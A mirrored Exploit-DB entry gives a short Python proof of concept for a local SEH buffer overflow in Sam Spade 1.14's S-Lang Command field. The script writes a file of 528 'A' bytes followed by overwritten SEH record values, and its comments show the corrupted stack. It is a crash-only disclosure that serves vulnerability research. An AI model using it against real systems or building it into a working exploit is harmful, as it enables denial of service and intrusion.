Sam Spade 1.14 – S-Lang Command Field Overflow (SEH) - 体验盒子

作者： Nipun Jaswal

日期： 2015-11-12

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/38687/

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#!/usr/bin/env python

# Exploit Title : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC

# Discovery by: Nipun Jaswal

# Email : mail@nipunjaswal.info

# Discovery Date: 12/11/2015

# Vendor Homepage : http://samspade.org

# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html

# Tested Version: 1.14

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows XP Professional SP2 x86 es

# Crash Point : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket

##########################################################################################

#-----------------------------------NOTES----------------------------------------------#

##########################################################################################

# And the Stack

#00FBFE80 41414141AAAA

#00FBFE84 41414141AAAA

#00FBFE88 42424242BBBBPointer to next SEH record

#00FBFE8C 43434343CCCCSE handler

# After the execution of POC, the SEH chain looks like this:

#AddressSE handler

#00FBFE88 43434343

#42424242 *** CORRUPT ENTRY ***

f = open("sam_spade_slang_dos.txt", "w")

Junk_a = "A"*528

nseh= "B" * 4

seh= "C" *4

f.write(Junk_a+nseh+seh)

f.close()